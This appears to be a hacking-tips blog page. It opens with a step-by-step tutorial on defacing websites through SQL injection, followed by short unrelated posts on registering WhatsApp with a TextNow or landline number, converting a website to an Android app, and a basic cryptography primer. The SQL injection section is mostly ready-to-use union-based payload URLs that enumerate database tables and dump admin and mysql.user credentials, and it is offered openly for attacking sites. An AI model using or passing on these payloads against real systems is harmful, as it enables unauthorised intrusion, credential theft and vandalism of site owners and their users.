SQL injection

SQL Injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application’s software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database. So, Let’s Learn How To Deface Websites Using SQL Injection.

SQL injection attacks allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding transactions or changing balances, allow the complete disclosure of all data on the system, destroy the data or make it otherwise unavailable, and become administrators of the database server.

What Is Website Defacement ??

Website defacement is an attack on a website that changes the visual appearance of the site or a web page. These are typically the work of system crackers, who break into a web server and replace the hosted website with one of their own. Defacement is generally meant as a kind of electronic graffiti and, as other forms of vandalism, is also used to spread messages by politically motivated “Cyber Protesters” or “Hacktivists”.

Defacing a website simply means replacing the index.html file of a site by attacker’s own file. Now all the users who’ll open the website will see the page uploaded by the attacker.

Steps To Deface Websites Using SQL Injection:

1) Vulnerability Check:

To check a vulnerable website for SQL Injection, you need to find a page that looks like this –
http://www.website.com/news.php?id=1

Now to test if it’s vulnerable, we add a ‘ (quote) to the end of URL and that would look like –
http://www.website.com/news.php?id=1′

If the database is vulnerable, the page will spit out a MySQL error something similar to –
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”

And that means the Site is vulnerable to SQL injection but if the page loads as normal then the website is not vulnerable to SQL Injection.

2) Finding the number of columns: 

To find the number of columns in the database, we’ll use the statement ORDER BY which tells the database how to order the result. Well just incrementing the number until we get an error.

http://www.website.com/news.php?id=1 order by 1/*      <– No Error
http://www.website.com/news.php?id=1 order by 2/*      <– No Error
http://www.website.com/news.php?id=1 order by 3/*      <– No Error
http://www.website.com/news.php?id=1 order by 4/*      <– Error

We’ll get message like this: Unknown column ‘4’ in ‘order clause’ or something like that which means the database has 3 columns, as we got an error on 4.

3) Check for UNION function: 

We now are going to use the “UNION” command to find the vulnerable columns because with the union command we can select more data in one SQL statement. So we have –
http://www.website.com/news.php?id=1 union all select 1,2,3/* (As we’ve already found that the number of columns is 3 in the second step.)

If we see some numbers on the screen, i.e 1 or 2 or 3 then the UNION works.

4) Check for DataBase Version:

We now need to find the database version, name, and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
Or if these don’t work then try:
@@user
@@version
@@database

The URL would look like:
http://www.website.com/news.php?id=1 union all select 1,user(),version(),3/*

If you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …” Then what we need is convert() function (I didn’t see any website article covering this problem, So I must cover it.)

i.e. http://www.website.com/news.php?id=1 union all select 1,convert(@@version using latin1),3/*

Or with hex() and unhex()

i.e. http://www.website.com/news.php?id=1 union all select 1,unhex(hex(@@version)),3/*

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.

IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

5) Obtaining Table And Column Name:

In this step, We aim to list all the table names in the database. The “table_name” goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables. But in most of the cases, we must guess table and column name.

common table names are: user/s, admin/s, member/s, etc.

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc.

URL would be http://www.website.com/news.php?id=1 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that’s good)

We know that table admin exists. . .Now to check column names –

http://www.website.com/news.php?id=1 union all select 1, username, 3 from admin/* (if you get an error, then try the other column name)

We get username displayed on the screen, the example would be the admin, or superadmin etc. . .Now to check if column password exists –
http://www.website.com/news.php?id=1 union all select 1, password, 3 from admin/* (if you get an error, then try the other column name)

We’ll see the password on the screen in Hash or Plain-Text format, it depends on how the database is set up i.e md5 hash, mysql hash, sha1, etc.

Now we must complete query as of our need. And for that, we can use concat() function (it joins the strings).
i.e. http://www.website.com/news.php?id=1 union all select 1, concat(username,0x3a,password),3 from admin/*

Note: Here, I used 0x3a, its hex value for colon)
(The another way is to use ASCII Value for that. Example: char(58))

http://www.website.com/news.php?id=1 union all select 1,concat(username,char(58),password),3 from admin/*

Now we get displayed username: password on screen, i.e admin: admin or admin: HACKAGON

When you have this, you can login like admin or some superuser. If can’t then guess the right table name, you can always try mysql.user (Default). It has user password columns, So the URL would be
http://www.website.com/news.php?id=1 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6) Incase of MySQL 5:

Uptil step 5 is for MySQL version < 5 (i.e 4.1.33, 4.1.12, etc.) But for MySQL 5 we need information_schema. It holds all tables and columns in the database. To get tables, we use table_name and information_schema.tables.
i.e. http://www.website.com/news.php?id=1 union all select 1,table_name,3 from information_schema.tables/*

Here we replace our number 2 with table_name to get the first table from information_schema.tables displayed on the screen. Now we must add LIMIT to the end of the query to list out all tables.
i.e. http://www.website.com/news.php?id=1 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
Note: Here, I put 0,1 (Get 1’s result starting from the 0th)

Now to view the second table, we’ll change limit 0,1 to limit 1,1
i.e. http://www.website.com/news.php?id=1 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

The second table is displayed. Now for the third table, we put limit 2,1
i.e. http://www.website.com/news.php?id=1 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

Keep incrementing the limit until you get some useful table like db_admin, poll_user, auth, auth_user, etc.

To get the column names, the method will be the same. Where we use column_name and information_schema.columns.

The method will be as same as above. So the example would be –

http://www.website.com/news.php?id=1 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

The first column is diplayed. The second one (we change limit 0,1 to limit 1,1)
i.e. http://www.website.com/news.php?id=1 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

The second column is displayed, so keep incrementing the limit until you get something like username, user, login, password, pass, passwd, etc.

If you wanna display column names for specific table use this query (where clause). Let’s say that we found table users.
i.e. http://www.website.com/news.php?id=1 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*

Now we’ll get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note: This wouldn’t work if the magic quotes are ON.

Let’s say that we found columns user, pass, and email. Now complete the query to put them all together. For that we use concat(), As I used it earlier.
i.e. http://www.website.com/news.php?id=1 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/

We’ll get here user:pass:email from table users. Example: admin:hash:xyz@abc.com

How to Use WhatsApp Without Phone Number or SIM

Imagine being able to use WhatsApp without phone number or SIM card. In this post you will be learning two tried and tested methods of using this extremely popular messaging system on your Android tablet, iPad, PC and even your mobile phone that does not have a SIM card.

Use WhatsApp Without Phone Number or SIM

As mentioned above, we have tested two different methods of using WhatsApp without phone number or SIM card and you can try both these methods and use the one that is most convenient to you.
Before we move to any of the two methods, you will need to go through the following prerequisites for using WhatsApp without phone number and SIM card.

...Download WhatsApp to your tablet, phone or PC if you already haven’t.

• In case you have already installed WhatsApp to your device, check whether or not you have verified WhatsApp yet.
• If you have already verified WhatsApp, then delete your current number from WhatsApp by uninstalling the app and reinstalling it back.

Use TextNow to Verify WhatsApp (Method#1)

The first method involves downloading a messaging app called TextNow to your phone. This messaging app gives you a unique phone number which you can enter into WhatsApp and use to verify your account.
1. Download TextNow to your device
Download the TextNow app to your device from the Google Play Store, iTunes App store or the Windows Phone Store. If you are trying to use WhatsApp on PC then you need to open your Android emulator and search for TextNow in it.
2. Open the TextNow app & Note down Your Number
Once the TextNow app is downloaded to your device, open it up and complete the setup process. Once the app is setup note down your number.
In case TextNow does not show you your number or you forgot to note down your number you can find out your TextNow number by following the steps below.

• Android: Once the app opens on your Android phone click on the 3 line icon located in the top left corner of your Android device and you should see your phone number.
• iPhone: Click on the 3 line icon which is located in the top left corner of your iPhone, iPod or iPad. Once you click on the 3 line icon you should be seeing your phone number.
• Windows Phone: Once app is open navigate to the People tab and you should see your phone number.

3. Open up WhatsApp and Verify Number
Once you have noted down your TextNow number, open up WhatsApp on your phone, tablet or PC and follow steps 3.1 to 3.5 below.
3.1. Enter your TextNow Number into WhatsApp
Once you agree to the terms and conditions of WhatsApp you will be prompted to enter your number. When prompted to enter your number select your country and enter the TextNow number.
3.2. Wait for SMS Verification to Fail
Wait 5 minutes for SMS verification to fail. After SMS verification fails you will be prompted to call your number. Click on the Call Me button to receive an automated call from WhatsApp.
3.3. Get your WhatsApp Verification Number
Open the TextNow app on your device and you should be receiving a call from WhatsApp. Answer the call and an automated message from WhatsApp will be repeating your verification code numerous times. Note down your verification number.
3.4. Enter Verification Code in WhatsApp
Now, enter the verification code that you received from the automated call into WhatsApp.
3.5. Finish Setup
Finish the setup process in WhatsApp after entering your verification code. You have now successfully created a WhatsApp account without a phone number.
In case this method did not work for you, you can try using another app called textPlus or you can use the second Method below.

Use Existing Landline to Verify WhatsApp (Method#2)

The second method will be using your existing home phone/landline number to verify WhatsApp. Just follow the steps below to use WhatsApp without a mobile phone number or SIM card.
1. Open WhatsApp on your phone, tablet or PC
Open up the WhatsApp application on your phone, tablet or PC.
2. Enter Your Home Phone/Landline number
When prompted to enter your number select your country and enter your home phone/landline number.
3. Wait for Verification by SMS to Fail
After about 5 minutes verification by SMS will fail and you will be presented with an option to Call Me. Click on the Call Me option to get a call from WhatsApp to your home phone/landline number.
4. Enter the Verification Code
You will now get an automated call from WhatsApp to your landline number. An automated voice will repeat your 6 digit verification code numerous times. Note down this verification code and enter this verification code into WhatsApp.
5. Complete the Setup Process
Once you have verified WhatsApp on your device, complete the setup process and you are ready to start talking to your friends on WhatsApp without using your mobile phone number or SIM card.

Related

REMOVE YOUR EMBARRASSING PHOTOS FROM SOCIAL MEDIA

How To Remove Your Embarrassing Photos From All Social Media Websites
It is pretty cool until a photograph of you being stoned or in an embarrassing situation surfaces on the internet a few days later. You can always try and keep safe your Android set by taking some measures.
No matter how much caution you keep on posting a selfie on Instagram or keeping a strict privacy over your Facebook account, you are just a click away from landing into embarrassing situations. It could either come from your friend or your teen imprudence.
Little embarrassment can be handled, but when something as trivial as this lands you in a major trouble as ruining a relationship (because a troubling pic from a distant past with your ex, resurfaces) or makes you a butt of jokes at the office, first thing that comes to mind is to just erase yourself completely from the internet.
Well, there is a simpler and better alternative.
REMOVE YOUR EMBARRASSING PHOTOS FROM SOCIAL MEDIA

How to Convert Website (Web URL or Local HTML) to an Android App

How to Convert Website (Web URL or Local HTML) to an Android App:

Developing Android Apps is not as easy task for Everyone, but nowadays, everyone wants to have their own Android App and Published on Google Play.I think the one thinking of developing an Android App must have his own blog or website,as it is comparitively easy to design and maintain rather than an Android App, as it needs you to be a skillled java programmer or android developer.
Don't you think it will be better if you can be able to convert your website to a Google Play Ready Android App in Seconds.
Here is a Tool for Windows(Vista, 7, 8, 8.1, 10)
Website 2 APK Builder you can Download it for Free From:http://sourceforge.net/projects/website2apk/
You have to fill-out All the details and then click on "Generate APK" Button.the,process starts, (SEE IMAGE 1)
it usually takes only a minute at all, and you got your APK ready to be published on Google Play. (SEE IMAGE 2)
Now, on the Location you selected, you can get your APK.

What is Cryptography

What is Cryptography:

Cryptography is a method of storing and transmitting data in a particular form so that only those for whom it is intended can read and process it.
Cryptography is closely related to the disciplines of cryptology and cryptanalysis. Cryptography includes techniques such as microdots, merging words with images, and other ways to hide information in storage or transit. However, in today's computer-centric world, cryptography is most often associated with scrambling plaintext (ordinary text, sometimes referred to as cleartext) into ciphertext (a process called encryption), then back again (known as decryption). Individuals who practice this field are known as cryptographers.
Modern cryptography concerns itself with the following four objectives:
1) Confidentiality (the information cannot be understood by anyone for whom it was unintended)
2) Integrity (the information cannot be altered in storage or transit between sender and intended receiver without the alteration being detected)
3) Non-repudiation (the creator/sender of the information cannot deny at a later stage his or her intentions in the creation or transmission of the information)
4) Authentication (the sender and receiver can confirm each other?s identity and the origin/destination of the information)
Procedures and protocols that meet some or all of the above criteria are known as cryptosystems. Cryptosystems are often thought to refer only to mathematical procedures and computer programs; however, they also include the regulation of human behavior, such as choosing hard-to-guess passwords, logging off unused systems, and not discussing sensitive procedures with outsiders.
The word is derived from the Greek kryptos, meaning hidden. The origin of cryptography is usually dated from about 2000 BC, with the Egyptian practice of hieroglyphics. These consisted of complex pictograms, the full meaning of which was only known to an elite few. The first known use of a modern cipher was by Julius Caesar (100 BC to 44 BC), who did not trust his messengers when communicating with his governors and officers. For this reason, he created a system in which each character in his messages was replaced by a character three positions ahead of it in the Roman alphabet.
In recent times, cryptography has turned into a battleground of some of the world's best mathematicians and computer scientists. The ability to securely store and transfer sensitive information has proved a critical factor in success in war and business.
Because governments do not wish certain entities in and out of their countries to have access to ways to receive and send hidden information that may be a threat to national interests, cryptography has been subject to various restrictions in many countries, ranging from limitations of the usage and export of software to the public dissemination of mathematical concepts that could be used to develop cryptosystems. However, the Internet has allowed the spread of powerful programs and, more importantly, the underlying techniques of cryptography, so that today many of the most advanced cryptosystems and ideas are now in the public domain.